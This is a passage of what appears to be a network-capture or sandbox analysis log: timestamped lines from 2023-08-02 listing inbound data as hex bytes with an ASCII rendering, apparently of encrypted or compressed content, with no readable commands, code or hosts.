23 14 3d ca 55 70 5f 05 76 cc 9b 35 e2 1b 48 57 dd 07 79 1a bb c4 ac 19 3a d5 52 e2 ee 15 e8 c9 6d 75 e3 f7 0a ea fc fa 7b 1d 04 a3 ea 67 3b cf f5 f0 71 1b Data Ascii: t<%f>`{\|9D,!X@_ooI{`q;zLuX.g1hPVIF!&QnkW</KjpQ-}4%LXG=1[B+S%K$=g?OqcST;`T#=Up_v5HWy:Rmu{g;q
2023-08-02 08:46:24 UTC	1106	IN	Data Raw: f5 fc 41 20 e6 8a f4 ae 47 43 07 02 cc 88 d5 9a d1 49 a8 e8 8a fb 33 eb 08 43 01 8a 09 8f 8d b0 16 48 69 17 7a bb 04 6e 92 90 92 8a 22 94 15 d1 59 0f 21 a9 5d 4b 8b fa 0e b3 33 f9 19 4f 75 7b f5 d6 fb dd bc 9b 1a 3f 94 50 c4 e7 c5 15 99 75 b0 6e f6 39 69 df f8 53 8c 10 cb 59 8e 4c 15 6a af 44 b0 c7 2f da 45 10 96 f1 5f 9c ef af c5 a9 1a a3 df 04 6b 49 71 d2 f6 7b c8 a8 41 61 2b a7 f8 ec ee 52 11 00 5d ed 04 73 4c 9a 04 52 8e 2e 50 11 d0 3f 07 73 80 72 ae e5 b8 88 81 30 49 4e 6c 40 95 16 90 82 cb b8 1f 7a 0d 4c 38 ee df 6b b4 7b fc 7e a4 f2 e6 cd 8c 2e b1 84 89 2b 01 5f 97 f5 9d cb e3 57 0d 01 88 9a 57 8d 3d 7c aa 5c 13 0d 05 54 aa a6 c6 a7 42 08 1f 8a b0 8c 63 4a 62 96 b7 14 64 18 63 cb 4e 42 c6 ca 3b 68 54 b2 8d 12 69 08 27 46 35 90 ec be 99 2b f8 ec 0a Data Ascii: A GCI3CHizn"Y!]K3Ou{?Pun9iSYLjD/E_kIq{Aa+R]sLR.P?sr0INl@zL8k{~.+_WW=\|\TBcJbdcNB;hTi'F5+
2023-08-02 08:46:24 UTC	1122	IN	Data Raw: 4a f1 c2 b5 01 e6 81 6f 9f 88 16 c9 a0 26 d8 29 0e 2a 89 b7 64 d0 0e 19 88 f0 0b 7f 34 0d 16 a0 ea 57 e3 ad 5e bd 1e 72 83 d3 57 25 78 3f 49 10 1d 10 67 86 32 1b 24 e2 6c 02 05 e6 72 83 5e 19 23 ab 64 c0 cf c1 8c 85 38 9f 25 80 27 db 7b 97 87 38 fb f9 7c 73 8c 43 a3 78 53 e7 80 52 e7 c7 a9 a2 2d db 0a 4e e1 56 b5 d0 80 4b dd 7b f0 e2 39 af 1b a1 d8 c0 5d bc bc 33 4f 06 c1 a0 41 69 3a 87 19 af de bb ce c3 63 82 a8 dd a5 33 ac 45 ed 38 0d f4 b2 7e 65 66 a2 98 6e d1 0a da 35 51 8b 0d 91 e1 ac 85 8c d4 e3 ad 9a 23 15 b2 1d 76 c9 26 4c dc 65 b0 c5 47 6c ea fd 18 82 da d4 4c 4b 9b 29 ed b9 dc 97 15 ed ce 75 c0 b8 6c 5a 8b b8 f8 5b 81 5a 7c c2 01 e1 66 9a 07 a5 65 31 ca 1b 89 83 dd 7a 63 35 7b 32 47 93 8f 88 dd b0 e2 10 61 b1 e1 c1 4f cf 37 9b c9 c5 21 63 e9 f0 Data Ascii: Jo&)*d4W^rW%x?Ig2$lr^#d8%'{8\|sCxSR-NVK{9]3OAi:c3E8~efn5Q#v&LeGlLK)ulZ[Z\|fe1zc5{2GaO7!c
2023-08-02 08:46:24 UTC	1138	IN	Data Raw: 10 95 c3 2d a6 16 f4 44 4c 98 92 76 fd 20 a2 87 52 3e 68 e6 61 0a 3e 13 c9 97 26 12 73 c0 9a 94 4e 40 66 93 1b 37 43 06 7a 7a 09 7c 42 ad 25 64 49 a6 83 3d 6f d8 5f bb 85 3c 06 63 b3 c4 9b ea 52 cf 04 22 42 d6 0c b2 49 5c 4d b9 d5 15 f8 e0 44 e8 c0 ed d9 ba 65 a7 2e 46 9e b0 0b 87 7b 7e 4b b0 af 1d 11 d0 e4 60 a0 c0 f1 09 1f c0 71 6c 1f 82 21 6f eb 56 2b d6 9a 4e 1d eb 2c 76 0d 8e 0c 88 92 30 dd 57 c5 4f df d8 6e 93 b0 f3 23 b6 ee 09 86 81 cb c3 e9 b8 6a fb df 9b 58 b5 96 95 56 ff 61 e0 12 9e f3 f6 85 ee a1 c6 61 a8 2f 69 76 01 8c 0e 3f c7 cc 0e 20 1d c0 e4 cc 71 46 a9 e7 5c 60 ba 52 fc 83 93 6c 8f d8 60 90 94 1b 0d 0c e2 a4 61 c5 0b 09 72 3e 69 6f e5 a1 88 30 ca ff cd 27 19 d1 cd b0 24 5f 8f 33 d1 80 fb ab 3e 31 2d f0 93 f1 56 54 e2 1b 4e f3 36 9c 87 39 Data Ascii: -DLv R>ha>&sN@f7Czz\|B%dI=o_<cR"BI\MDe.F{~K`ql!oV+N,v0WOn#jXVaa/iv? qF\`Rl`ar>io0'$_3>1-VTN69
2023-08-02 08:46:24 UTC	1154	IN	Data Raw: 22 88 a9 1a 40 78 4d cb 3b 91 d9 4a cc 8d 4f 90 8c ab 3b 94 db 5b ab 01 bb 90 90 7b a4 28 3d c7 8d 5e ef 7c 8d b7 f4 42 78 56 ad 6b 3a fb bc 2a 14 9b b6 06 1b d4 e3 89 9c aa 4e 6e 4c 1a 55 f8 f9 90 bb f9 ef 85 be 35 e8 2b 36 9f 2d 46 48 8a c3 0d b5 49 ba 86 ee 23 9d 1b 24 d5 ba 93 50 b5 c7 40 01 cb 50 66 8e 54 74 cc aa af 6f b9 da a1 2e 60 72 7e 55 05 39 50 c7 8c 74 c1 6c 2d 4e f3 89 c6 5a 86 55 99 05 47 15 af 67 ad 0a b6 38 b4 62 73 33 72 27 c8 78 a3 18 b2 e3 cb 9b 59 01 80 20 19 03 95 69 8a bc 75 3b af 28 62 67 e2 68 8f 41 e8 96 7a 75 e1 15 a9 4f 44 cc 69 ed d3 5b ab 69 6e f1 7e d3 84 3f cb 4b e7 40 1c ad 99 73 67 35 9f 8b 26 19 74 91 ff 37 07 76 7a 07 9e e9 ca fb f4 d4 2e b1 08 af 4a 28 c2 de 1a d0 54 26 d1 be c0 a2 08 49 99 fd 64 6a 5a 04 71 58 2e 05 Data Ascii: "@xM;JO;[{(=^\|BxVk:*NnLU5+6-FHI#$P@PfTto.`r~U9Ptl-NZUGg8bs3r'xY iu;(bghAzuODi[in~?K@sg5&t7vz.J(T&IdjZqX.
2023-08-02 08:46:24 UTC	1170	IN	Data Raw: a1 04 c7 fc 68 c0 2d a4 fa 2d 47 f8 43 39 e0 c5 3c a6 c6 f6 d3 bb c2 27 9a 63 3b 54 2d 23 05 c3 38 f8 90 ce c3 81 ec 67 6b ca be f5 ed 81 55 59 2b c0 66 9c e4 87 76 cd 87 00 59 fd 4f 8a a8 5d 3f ec 37 1f a9 e7 a5 c7 41 c0 11 5d 28 93 59 ce 40 f0 4f 30 e5 80 0e 9d 23 db fb a9 65 2d f8 03 25 09 48 c5 e4 e3 61 22 0a e9 7f 91 77 f7 76 e3 4b 5c 25 f8 c4 3f ed 6a 72 85 89 38 5d 97 24 bb db 48 5b 0a b6 ab fc 58 e4 e6 07 12 2b 85 73 72 8c d5 35 98 8b ba 26 d9 2d 22 11 29 61 cb ea 81 f5 f4 54 c6 a9 0b 9c ae 2c 01 a6 75 3a 1c 0b da 84 5b 3a 92 d4 ad b4 ec 5c 2f d6 a7 d3 3e 46 72 1e c3 af c5 a3 7b 72 9c a9 a6 93 38 e8 a0 53 63 29 a4 fa 39 5a 48 fd 34 ae ee 7e b0 82 1c 50 7c e0 43 48 2f bb aa dc 88 bf 0f c0 0b 49 c5 ea 1e 9b fe 64 e7 a2 2d e4 17 96 2f 65 e9 91 6a 14 Data Ascii: h--GC9<'c;T-#8gkUY+fvYO]?7A](Y@O0#e-%Ha"wvK\%?jr8]$H[X+sr5&-")aT,u:[:\/>Fr{r8Sc)9ZH4~P\|CH/Id-/ej
2023-08-02 08:46:24 UTC	1186	IN	Data Raw: 49 6e 99 4b 63 c0 3b 9b c8 4d fe dc 8e 26 a0 65 59 7c fd c7 19 9b 5d 8e 3b 32 f7 17 5a 09 14 c6 fb 28 05 cb 20 83 43 cc 7c dc 2c a8 06 31 f1 a2 e9 ec 3e 7a 28 93 e4 29 b5 27 e5 b6 38 aa e3 6c 9b a8 07 b0 d9 1a b3 1d a3 cb 1d 76 05 07 b1 19 37 f4 e1 0e 21 d5 f2 ea eb c6 d9 d1 3d 51 53 4e 58 5f 0d 84 d3 16 e5 fd e5 c8 b1 40 56 31 c3 fb 3a c8 43 ab 83 83 81 98 b6 d7 e5 71 ad 54 5a 5d 50 50 8d 77 ad ec df 9d 0c 2f 74 ee d3 bb cf 05 5d 00 69 d9 db ed 6e d9 fd 00 f9 8e 5a 4a c6 d3 8a c5 6b 52 a3 3a 52 a0 45 e1 60 ef 67 8d 26 48 27 ab 4d 0f ad e7 94 a9 13 99 d6 8b 71 2a 36 8d b5 bd 83 95 53 2a 7c b9 9b 98 d5 23 6f 62 56 21 7a 8a 74 b8 ac 8f e7 27 d9 c1 c8 10 32 8d e6 30 e7 57 92 58 dd 90 bb f7 9c bf af 66 1d b9 44 45 dc 3b 0e d9 f3 3c 23 dc ef 80 ee e7 07 c3 52 Data Ascii: InKc;M&eY\|];2Z( C\|,1>z()'8lv7!=QSNX_@V1:CqTZ]PPw/t]inZJkR:RE`g&H'Mq6S\|#obV!zt'20WXfDE;<#R
2023-08-02 08:46:24 UTC	1202	IN	Data Raw: 0d 2b a5 95 a1 39 cf f5 19 37 77 f2 c7 76 84 82 10 97 fd 31 2f ce b0 9b 71 60 2a a1 e3 9b 0a 8c db 7e 08 a7 46 15 db 4f 39 66 1d 0b 17 33 60 0d 60 84 f6 4b d0 e6 5a cb de 5d ff e2 f8 16 64 0a 9b 8f a5 30 c0 35 73 5e 2d fe b4 85 63 b1 c4 9f 82 b8 c7 95 5c 79 f5 00 3d ab 6f 75 e4 8f f5 40 0a 22 9d c8 3f e5 c1 a8 9a f9 0d c5 4a cf 41 50 e8 ce 93 42 89 c1 f5 31 f8 46 5a fe 11 a3 c0 10 27 99 c7 16 a0 f8 6b ff bb 11 58 db 6b f0 06 ff 22 b4 b6 c8 dc 98 99 2c f9 f1 9e 2b 3e 10 f8 d2 ca 67 e8 f7 a6 c0 41 41 31 ce b5 4e 12 b6 70 12 d0 df f3 da a9 72 a7 90 00 28 c4 49 56 9b 0d f0 74 d8 2e 3d 85 d7 1f 01 56 fd eb 72 92 4b 73 35 6f 58 4c dd 92 cb 7c 47 b3 fb 82 e6 a8 99 c9 38 4d 7c a0 0d ee ae e4 e9 aa 39 b3 e1 26 bb e8 b1 ba 89 87 2e 16 54 c6 1c 42 56 af c1 9f 7c a9 Data Ascii: +97wv1/q`*~FO9f3``KZ]d05s^-c\y=ou@"?JAPB1FZ'kXk",+>gAA1Npr(IVt.=VrKs5oXL\|G8M\|9&.TBV\|
2023-08-02 08:46:24 UTC	1218	IN	Data Raw: 0d f1 9a 83 af 28 ae a2 68 c9 8d 2a 6c 06 cb a4 dd 91 46 fc 62 97 0f fe 8d 27 68 b4 a4 6d 63 df a9 20 3d 47 08 fb 09 7e 2d d8 ff 5f 30 8f 2d c4 3e bb 63 1b 40 70 c5 f1 e9 bf 57 93 8c 54 8e ec f2 ac b6 ec a8 6b 6a bc a6 1d 10 a8 51 ea 91 12 ff 17 a0 51 a5 5d e0 f2 9d 07 a9 95 20 5a dc f0 5c 22 98 18 6f f3 a3 69 c2 a0 1f e3 fd b4 a2 82 9a 70 5f 1f 05 69 4a cc 51 0e 40 cb 3a 8a fa 58 ab 93 d3 62 10 d0 60 5d 95 59 bd b1 6a b3 c9 4a dc 73 ca 5d 62 e2 c2 76 9c 7b fe 87 93 fe d5 dc 76 92 cd a2 40 b4 0d 38 89 20 09 ce 57 5d ae 3b 61 82 a6 dc 38 86 aa 1e c9 07 ec cc 9d b7 2b 08 36 01 c7 63 1e 46 df 16 4e 13 57 c9 6e 91 52 00 8e 88 ca c9 79 c3 c0 48 32 dd ff 22 61 09 56 e1 f4 cf 0f 0d 67 ac c3 ad 33 07 35 72 21 54 ae ac d1 cf a5 6a 6c 42 3e 4f 8d 24 f2 98 2a 27 bb Data Ascii: (hlFb'hmc =G~-_0->c@pWTkjQQ] Z\"oip_iJQ@:Xb`]YjJs]bv{v@8 W];a8+6cFNWnRyH2"aVg35r!TjlB>O$'
2023-08-02 08:46:24 UTC	1234	IN	Data Raw: 52 96 fa 86 c9 6b 5e 86 57 6e 71 c7 5e ea 65 0f 80 a4 c9 04 5f fa 94 dd 75 29 ca 3f 02 9f 5f 89 aa 28 38 23 08 58 60 ae ad 20 b2 23 ea 9e 07 bb 8d a0 75 10 cc cd d3 ec 9b 2a 99 03 72 65 a4 ea 45 46 98 d9 d3 6b b5 2d a5 97 c7 61 ae 6a 65 ad 5c db c1 90 95 5b 3b 52 67 21 5f 2e 64 78 d8 73 7c 94 a6 e8 a1 19 3e f3 8e c1 dd 32 78 6e 17 5a 2e e5 c5 9b 05 f0 56 95 02 f2 4b f1 37 dc 11 ac dd b7 85 d0 bb 0a 5e 7d 1d 16 81 24 24 3c 21 a9 27 51 a1 f8 02 20 11 cb 86 62 9f 7a 2c ec 76 13 bc bc c8 28 65 a5 7c 38 01 02 cc b6 6f 43 86 b0 50 dd e4 b3 d4 b1 f1 05 a7 fa e3 85 c1 c4 10 3a 95 57 95 e4 7d dc 04 8e bb 27 e5 73 91 f1 6c f6 b6 ef a7 aa 32 43 ff c5 44 b4 62 b2 21 73 d7 0e 7c 06 54 20 ea ae 6c 47 24 55 2e 55 8b fa d4 bb df 04 d0 7f 71 fb 8f 54 54 0a 2a bf dc 0c 4d Data Ascii: Rk^Wnq^e_u)?_(8#X` #ureEFk-aje\[;Rg!_.dxs\|>2xnZ.VK7^}$$<!'Q bz,v(e\|8oCP:W}'sl2CDb!s\|T lG$U.UqTTM
2023-08-02 08:46:24 UTC	1250	IN	Data Raw: 74 d1 bc 41 17 f3 9a b7 e6 18 cf 4b 4c ff b0 73 a3 f9 d6 04 c7 da e3 6f a2 9a 5f 2a 3f a7 de 9f 59 11 25 b9 78 09 0d 49 ae 52 15 d6 73 ed ef f4 81 55 f6 bc 2e 26 37 3d de e3 47 f5 d7 21 5b 37 8b 92 05 56 8d 69 58 d7 d1 63 00 05 c6 65 f2 2f cc 80 3f 1a bb 73 92 99 ba 8b 7e 8c d5 86 b6 15 bf ad ec 38 0b 2f 0b 65 37 ef 3a d5 a2 d1 b9 37 2e 54 8c 74 cc dc 0f 60 b7 1c 83 85 89 f9 4a ae 2a da 38 f6 5c fa 25 13 db 6d ce 5c 4c 3a 77 af 65 32 b6 3b a6 a7 77 9c 65 87 7f cd 3b 7b c9 44 65 62 22 3a ad 4d cd 14 7f fb 8b a9 2e 41 2f e3 94 62 8b e3 1d 0b 10 5d 93 f9 df 63 c3 ff 1a fa 01 5b 4e da 34 ab f3 78 24 65 6f 0c 18 0f 65 82 dc ae 03 be 1c a6 56 55 dc a9 26 11 84 73 e5 b5 cf be d8 1e b9 a1 44 d1 01 1b 5c a1 60 1b 2a 67 8d 42 cf 61 09 9b bd c6 2c 46 8d b1 a5 3a c7 Data Ascii: tAKLso_?Y%xIRsU.&7=G![7ViXce/?s~8/e7:7.Tt`J8\%m\L:we2;we;{Deb":M.A/b]c[N4x$eoeVU&sD\`*gBa,F:
2023-08-02 08:46:24 UTC	1266	IN	Data Raw: 0b 36 ca 0b 3c b4 15 3b 4e c3 71 12 e1 4d 2e 3c 14 a3 43 30 df f2 92 59 9f 12 4a f5 4e 65 f6 86 d1 d6 59 f7 7b 9b 0d e5 47 b0 8c 30 69 69 37 67 46 72 e6 84 99 e1 9c ee 9d 6a 1f 2c 75 64 a4 a2 16 75 22 e3 12 16 be 02 77 89 60 9d 19 c0 a7 83 15 26 ef 77 bc 52 66 38 a8 54 2e a4 75 b1 68 a9 97 c6 5b 9d 3f a0 b8 5a 56 0a 32 15 47 ae 7b e6 15 26 d2 7a 42 90 54 34 93 c3 76 9c 30 ff 7c 58 27 00 4b e7 38 5a b8 28 d9 2e 5a b6 b9 48 db f3 57 74 c7 1a 4f c9 a6 80 9d 32 6c 30 29 77 da 0c 32 ec a9 66 43 a5 e1 57 cb f6 cd b0 f0 ff 93 b4 f9 8d ab ff a8 fd ef d8 26 04 0a f5 7d 84 9f 36 72 2a 7d e0 53 2b d9 cb 25 0a 8a a7 c4 fc d9 1c 8a 2f 7f dd 43 9f 82 0d b7 c6 cb 0d 56 f1 34 f1 91 5e 45 8a fa df 07 bf 96 17 8d 07 d2 8a 7a 3c 2a e1 38 56 d6 04 08 e6 7f e7 a3 50 01 b7 bf Data Ascii: 6<;NqM.<C0YJNeY{G0ii7gFrj,udu"w`&wRf8T.uh[?ZV2G{&zBT4v0\|X'K8Z(.ZHWtO2l0)w2fCW&}6r}S+%/CV4^Ez<8VP
2023-08-02 08:46:24 UTC	1282	IN	Data Raw: 55 64 c5 a2 e2 8a 01 fb 66 59 5c c7 04 26 78 80 f2 ea 93 95 60 f2 03 0e 73 8d 4d 9c c5 c7 99 62 b7 a9 57 10 ca f5 a5 1e e4 cc ae 77 11 b6 b4 fe 58 8a 99 47 e6 df 07 03 3d e1 16 56 90 6b 66 e1 7a 1d 53 02 39 19 31 e2 12 6e 2a 3a d2 2f 1c 19 1b a4 27 b0 6a 9e 8c 86 6b c4 1f 93 66 4e c8 a5 0d 7e 76 85 60 12 5e 5b 88 a8 78 6c 0a 43 9e 5a ca 34 e8 20 9f d0 29 13 ae 1d 9c 90 be c4 8d 07 a3 3f 97 09 77 67 4e 11 2b 21 04 12 1d b7 33 48 4e bb 67 7e 9c 08 bd 24 62 f1 b0 47 6e 62 8d e9 07 9b 7d 15 22 2b 28 c0 79 57 98 da b4 c7 20 46 10 b2 a6 a9 87 ce 80 ef c9 c8 67 e7 82 26 64 80 65 c4 02 30 2d 51 00 7b 06 30 d9 4c d7 7b d2 32 a4 04 ee 1c 89 9b ef a5 35 30 4b d0 f0 bf 7a 83 25 29 20 9a 7c 01 e3 42 b2 c1 35 fc 85 ab 2c ce 3f 2b 3c 6f 6b fc c7 88 38 64 bb ff f4 57 e1 Data Ascii: UdfY\&x`sMbWwXG=VkfzS91n*:/'jkfN~v`^[xlCZ4 )?wgN+!3HNg~$bGnb}"+(yW Fg&de0-Q{0L{250Kz%) \|B5,?+<ok8dW
2023-08-02 08:46:24 UTC	1298	IN	Data Raw: 7e 39 a6 e2 7d 46 9d e0 6f b1 e6 e8 2e 59 eb 20 2e 9a 18 09 c0 06 4e 2c c9 c9 2c b5 60 2d 6c cb ec 0b 28 71 7d 38 60 ca 56 b4 90 71 62 0d 04 f4 c3 51 5e 27 52 02 16 06 93 99 d7 76 be 4c 4a 4c b4 19 d3 5b ec bd d2 df c0 eb 46 97 e2 ce c8 84 d6 1b a9 12 6b eb 2e 67 b8 ad 2e c8 cd 5a eb 4e e7 17 e5 69 4f e6 19 66 46 54 a8 50 e6 fa a2 0f 0e ba 84 a5 c0 ed a6 b5 da c2 df aa 59 88 2e 56 8d 53 36 33 34 76 ff c3 08 d4 8f e9 36 2a a8 4b 07 0b b1 05 d0 75 82 1e a6 3e 00 25 b1 2f 9c 68 6e a0 a9 90 ee b9 e9 78 e7 ce 14 f9 d5 51 f6 ad 85 ce 46 39 2d 8e 13 1e 64 62 ad 7d 79 3f 1f ef c7 10 6f 95 85 6f a5 29 77 c6 7d 51 30 9c 2c a4 2a 91 7b 4d 6a 98 f3 86 63 1f 62 a5 00 c7 35 2b 93 5d c0 4c d4 e2 8e 67 99 47 3f bc 59 f1 7c 9c 7b bf 4e 28 71 ca d9 a4 67 34 2f 6d a0 83 74 Data Ascii: ~9}Fo.Y .N,,`-l(q}8`VqbQ^'RvLJL[Fk.g.ZNiOfFTPY.VS634v6Ku>%/hnxQF9-db}y?oo)w}Q0,{Mjcb5+]LgG?Y\|{N(qg4/mt
2023-08-02 08:46:24 UTC	1314	IN	Data Raw: ab 66 0c ad 55 a8 15 ee e9 e9 7b ba 8c 3b be 33 ae 0e 3e 0f 33 c5 05 40 3c c1 8d e1 99 79 13 a3 f4 5f 73 36 92 80 92 9f 85 d9 c8 06 2a 09 d4 57 87 ba da 3c 93 bc 88 e0 30 5b c0 e3 78 37 f1 6d 84 dc 9d d0 ca 42 2c 84 38 32 3c 2c 39 b5 f7 5e d8 b9 d2 09 63 ea 6f 5a ae 7a 88 e2 20 30 5c 22 ba 4c 69 8d 04 48 b9 de 6f ce aa b7 9b dc 1b f1 d0 14 85 0c a9 c2 4b 8f 7d 78 61 b1 0a 74 df fd 91 1e 10 b0 ad 43 0a 08 0a 3c 2e 2c af 96 46 bc 9d e3 fd 3a aa 97 26 a3 fd f8 f1 71 d9 f7 8b e0 cc ac cb a0 94 a7 2d d3 38 8f 78 05 bb 47 a4 c7 7c 98 bf bf cc 34 5a 19 c2 21 e5 53 0f 63 b4 29 16 52 4d ac 31 d3 d5 69 d9 53 a6 1f 3a 23 49 e6 86 0b e3 b8 bd 4b 32 d6 e4 66 92 a6 5d a4 67 6f fb 99 55 04 e5 a9 9c 73 40 a0 cf 0e d5 78 10 64 a1 89 1a ac ae 99 4a 67 14 a5 14 6b 17 92 2e Data Ascii: fU{;3>3@<y_s6*W<0[x7mB,82<,9^coZz 0\"LiHoK}xatC<.,F:&q-8xG\|4Z!Sc)RM1iS:#IK2f]goUs@xdJgk.
2023-08-02 08:46:24 UTC	1330	IN	Data Raw: ec 67 44 d2 fc 56 e0 6d 55 f5 fa 6f e6 f7 38 14 5d 5a 5d 34 de d6 65 e3 79 1c a4 54 5d 4a 6b 0d f7 90 f8 40 67 d4 ae b3 64 1f b5 4d 06 04 54 36 b6 80 ec ac 5d 31 c6 b7 d3 21 7d 46 f1 39 7f 5a 22 4a 13 d3 84 55 83 f3 26 12 05 8a 9a 66 96 41 33 3f ab 2b 3f cb a0 20 bd ee 96 86 bc 24 20 03 04 52 28 42 44 fb b8 e1 88 d2 31 71 be 0e ae f6 3f b7 13 74 42 f1 47 ea 79 5b f3 09 d3 b1 16 a1 8a aa 53 f8 3a 08 8e 44 bc 18 82 3e 32 e9 0d 5d 33 a4 3d 3a cb 80 7b de 16 8c b6 6f c6 c4 d4 e3 b5 9e 1c 36 dc a9 e1 db a5 eb cd d0 af ee 2f 28 55 3b b8 86 30 5c b1 4b d0 2e 6b f0 a1 91 0b d6 11 d7 17 d1 b7 f5 5d 5c 49 ed 58 13 07 23 20 50 54 c9 25 b8 c8 98 64 76 c7 ad 48 d7 7c ef ce a7 2f fa bf cb 15 11 56 bb 46 f9 f7 a4 27 05 9e 5b 19 22 59 a4 35 9c 91 03 e9 19 fd cd ef da ed Data Ascii: gDVmUo8]Z]4eyT]Jk@gdMT6]1!}F9Z"JU&fA3?+? $ R(BD1q?tBGy[S:D>2]3=:{o6/(U;0\K.k]\IX# PT%dvH\|/VF'["Y5
2023-08-02 08:46:24 UTC	1346	IN	Data Raw: fd 48 36 2d 0b 9e af 58 e2 be f4 dd 88 cf 5e 41 b2 e7 f7 6f 51 4c 1b 2c 48 09 1c ec 86 f2 e9 ba b5 56 a0 50 fa ef c5 d7 74 eb 0c de 09 8a 68 18 90 40 8b 0f fd 3e e5 9f 2d 47 fc 9a 9a f2 1b 40 c8 60 31 45 12 01 2d dc 6e 7d 29 31 50 42 3e a7 80 c4 86 1e 30 3e 9a e5 22 bb 0d 28 1c f6 37 5a 1d 71 40 ba b8 79 0c fb ce 7c 8e 2d 78 a5 57 80 a2 67 df c7 f5 ab 89 b1 72 78 eb db f8 14 c7 be ff 3e 7f f1 44 1b 49 d6 a4 00 d7 c9 3b 6c 8b e9 7e 66 99 88 2b 63 ba dd 3b fd c0 c0 c1 33 29 bb 0c ae 55 2e 44 52 3a 4e db 46 5c 9a 21 10 f9 7f b1 7a a0 55 3f ee 93 af 60 66 68 45 c2 0f 67 6c f1 14 39 61 aa db f9 4b 4c 0e 5f 70 1d c1 b7 bd b3 2a 7f 24 3f 60 b2 f9 44 f4 f8 b5 84 8c 02 68 49 fb 01 f1 69 b5 0e 75 83 f4 c0 d9 f6 4d 36 50 23 5a a5 5f 28 0b dc 0f 3f cc cb 5d bf 4b 7b Data Ascii: H6-X^AoQL,HVPth@>-G@`1E-n})1PB>0>"(7Zq@y\|-xWgrx>DI;l~f+c;3)U.DR:NF\!zU?`fhEgl9aKL_p*$?`DhIiuM6P#Z_(?]K{
2023-08-02 08:46:24 UTC	1362	IN	Data Raw: a3 fe 79 0f 95 a5 02 83 78 69 86 34 c1 e4 26 8e 61 93 4e 7d a6 36 fc ac 3a 50 bd 13 49 00 12 31 f9 f5 e9 94 5d 06 b1 e2 10 f9 97 2a 28 45 e9 36 e8 45 48 4c 89 71 e8 5b 0d 80 98 08 fb f2 62 fd da a3 e6 14 f7 62 9f 4e 44 fc 1e 5c 45 99 d7 6a 8a 2c 3d 08 2a 75 ac c8 2b f7 2f 51 b7 48 75 dc 40 84 fe 3e 5c 89 71 4d 9c e5 fa 8c 48 cf 90 3f 88 e5 76 ed 4f cc c3 e2 1d bd 2a 1d 37 97 d5 ef 1c b9 69 ed 13 a8 a2 34 29 b9 10 c8 bc 67 1f e2 23 4a 92 9d 1a f6 f1 4a 16 c5 42 8a ae cd 8d e7 1b b4 19 5d 3f ca ed 60 c4 20 d6 59 4b 20 f4 7b 03 c0 50 37 fd 34 4c 99 3e 06 c3 66 63 f9 c2 49 1d f8 9b a9 2b 65 54 4d 29 52 41 91 ee 11 0c 40 df bb 5d 1a 08 53 ac dc 7b 88 78 40 a4 4e a9 8d af 89 4e c4 4b 41 52 bd a7 3e 6f 7a 1d 23 d1 77 53 48 b7 b5 8d ee 39 fc 65 53 9f bb 25 4e 23 Data Ascii: yxi4&aN}6:PI1](E6EHLq[bbND\Ej,=u+/QHu@>\qMH?vO*7i4)g#JJB]?` YK {P74L>fcI+eTM)RA@]S{x@NNKAR>oz#wSH9eS%N#
2023-08-02 08:46:24 UTC	1378	IN	Data Raw: 47 27 2a e3 f5 b4 61 97 37 b7 c4 2b 59 7f 1f 0c fa 70 e8 24 8d 4d 48 ea 8c f0 8a bc af d6 f5 e0 e0 7c b7 76 6f 9e ed e8 f5 74 08 56 fc 01 dc 77 15 d7 5c 9e 14 bb 8c 71 ce 9c 47 57 7e f3 14 c7 11 6b 39 66 21 ee 82 af dc 99 50 31 3f 90 86 d0 ae 38 7f bb 3c a0 ae 98 e2 99 c9 79 8d 5b ce 18 cc 72 1d ab 7b de de 82 3b 2e e4 69 74 cb af 50 71 6b b8 a6 d1 5a b4 59 7b ac 06 a6 8c 34 cb 3a 31 6b 60 70 f3 7e ad b5 d9 5c ea 9d c6 b1 7d a8 0a e8 bf 76 1c 48 9b 75 41 bd 9a 98 a2 85 94 eb 1d 5e ae 59 fe 5c a8 f5 97 fd eb 05 12 37 42 48 23 61 1a c8 38 ed 6f 9f 12 c4 a9 21 03 eb 00 67 dc 4e 60 be be 93 d9 92 53 fb 49 7b 02 f3 83 7a 76 c7 41 d4 1a 86 c3 bb 02 ec ad 48 74 23 41 89 4f fa d9 1b fe 7a d1 1f aa f9 e2 cf 36 c3 da b7 39 50 d3 8b 7f cc 37 13 d9 db 8f a8 6a 9a 3e Data Ascii: G'*a7+Yp$MH\|votVw\qGW~k9f!P1?8<y[r{;.itPqkZY{4:1k`p~\}vHuA^Y\7BH#a8o!gN`SI{zvAHt#AOz69P7j>
2023-08-02 08:46:24 UTC	1394	IN	Data Raw: d0 70 5d fc 9c a7 18 cb a6 c8 a2 65 64 20 3d 86 fa 98 f1 0a b5 78 19 06 81 5b 59 32 0e b6 42 be f6 38 30 c6 d8 d2 0d 68 2c 85 49 78 58 cc ba d1 9f 10 8e 52 81 04 29 a6 9b e2 2a 0f a7 b7 ba 80 8b 10 44 0e 0a 7d ed 0b 91 98 6d 97 8c f3 6e 9d ca 14 11 1f d4 66 7d e5 64 2c 1a 2e 79 62 14 32 f2 c6 30 2a 2f 67 6b 12 7a 5a de 70 1a 56 e0 cd 9f 07 69 24 6c 2c a0 58 ae 79 5f 37 3d 59 e9 91 dc 2d 8e 80 f2 ae 51 ea c6 e2 9c 84 52 db b1 7d 11 05 2e 61 54 a1 11 0b ed 16 ea 0d 70 1d f1 90 8b 07 99 6f 2f a4 8d 84 9c f5 25 32 29 97 06 7f 7b 2b 63 92 c1 46 8e 74 e9 3a 42 f4 df 0f ad 28 9a 41 c3 0d 86 44 0f a6 22 89 1f 43 ce 98 07 b2 87 ec 1f f1 7e 20 ab f4 06 93 74 c8 70 03 f0 f6 59 8b 18 5e 95 30 b1 9c 21 40 4c e9 b7 83 31 de 70 5e 44 21 17 42 8a 3f 62 42 f6 fb ca 48 29 Data Ascii: p]ed =x[Y2B80h,IxXR)D}mnf}d,.yb20/gkzZpVi$l,Xy_7=Y-QR}.aTpo/%2){+cFt:B(AD"C~ tpY^0!@L1p^D!B?bBH)
